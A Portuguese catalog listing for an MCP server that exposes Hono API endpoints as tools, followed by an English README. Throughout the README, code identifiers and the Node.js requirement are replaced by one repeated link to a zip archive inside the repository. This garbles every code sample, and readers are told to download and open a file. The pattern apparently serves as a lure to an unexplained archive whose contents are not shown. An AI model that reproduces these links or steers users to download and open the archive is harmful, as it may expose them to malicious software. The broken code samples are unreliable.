Hono MCP Server
ninjacazul/hono-mcp-server
Converta endpoints Hono em ferramentas MCP com validação de tipos
Ver no GitHubServidor MCP que expõe endpoints de APIs Hono como ferramentas disponíveis para Claude. Simplifica a integração de suas rotas HTTP existentes com o protocolo MCP, permitindo que o Claude execute operações via suas APIs de forma type-safe.
Instalação
npx convez-ai ninjacazul/hono-mcp-server1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Expor APIs internas como ferramentas para Claude executar
- Integrar aplicações Hono existentes com o ecossistema MCP
- Criar agentes Claude que consomem seus próprios endpoints
Veredito

Ferramenta útil para quem trabalha com Hono e quer tornar suas APIs acessíveis como ferramentas MCP. Abordagem prática com suporte a schemas Zod, embora em fase alpha com documentação ainda em desenvolvimento.
README
A tradução para o português deste README ainda está na fila.
🎉 hono-mcp-server - Easily Expose Your Hono API
🚀 Getting Started
Welcome to the hono-mcp-server repository! This software allows you to easily expose your Hono API endpoints as MCP tools. Follow these simple steps to download and run the application.
📥 Download & Install
- Visit the Releases page.
- Look for the latest release. You will see a list of available files.
- Download the file suitable for your operating system.
- Once the file is downloaded, locate it in your downloads folder.
- Open the file to start the installation.
📂 Features
- Simple API Integration: Use the software with minimal configuration.
- MCP Tool Registration: Easily register tools for your API endpoints.
- Type-Safe Input Handling: The application ensures that input data conforms to expected formats.
⚙️ System Requirements
To run hono-mcp-server, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or a Linux distribution.
- https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip Version 14 or newer.
- Basic knowledge of using command line tools may be helpful, but not essential.
🛠️ How to Use
After installing the hono-mcp-server, you can set it up for your project. Here's a simplified way to integrate it into your existing application:
-
Import the Library: Use the following code snippet to import hono and the hono-mcp-server library.
import { Hono } from "hono"; import { z } from "zod"; import { mcp, registerTool } from "hono-mcp-server"; -
Create the API: Here is a basic example to get you started:
const app = new Hono() .get("/users", registerTool("List all users"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip([{ id: 1, name: "Alice" }])) .get("/users/:id", registerTool("Get user by ID"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("id") })) .post( "/users", registerTool({ description: "Create a new user", inputSchema: { name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"), email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"), }, }), async (c) => { const { name } = https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("json"); // typed! return https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: 1, name }); }, ); -
Expose Your API: Finally, expose your API as MCP tools.
export default mcp(app, { name: "Users API", version: "1.0.0", });
📊 Input & Output Schemas
With the registerTool() function, you can define input and output schemas for your API endpoints. This helps maintain consistency and reliability across your API.
Example Schema
const inputSchema = {
name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
};
🔍 Troubleshooting
If you encounter any issues during installation or usage, check the following:
- Ensure you have the correct version of https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip installed.
- Verify that you are using a supported operating system.
- Double-check the format of your API requests to ensure they match expected schemas.
📧 Support
If you still need help, feel free to reach out. You can open an issue on the GitHub repository. Our community is here to assist you.
📦 Additional Resources
- Hono Documentation
- MCP Documentation
- Explore additional examples and use cases in our repository to better understand how to integrate and use this application effectively.
Download hono-mcp-server again to ensure that you have the latest version. Enjoy building your APIs!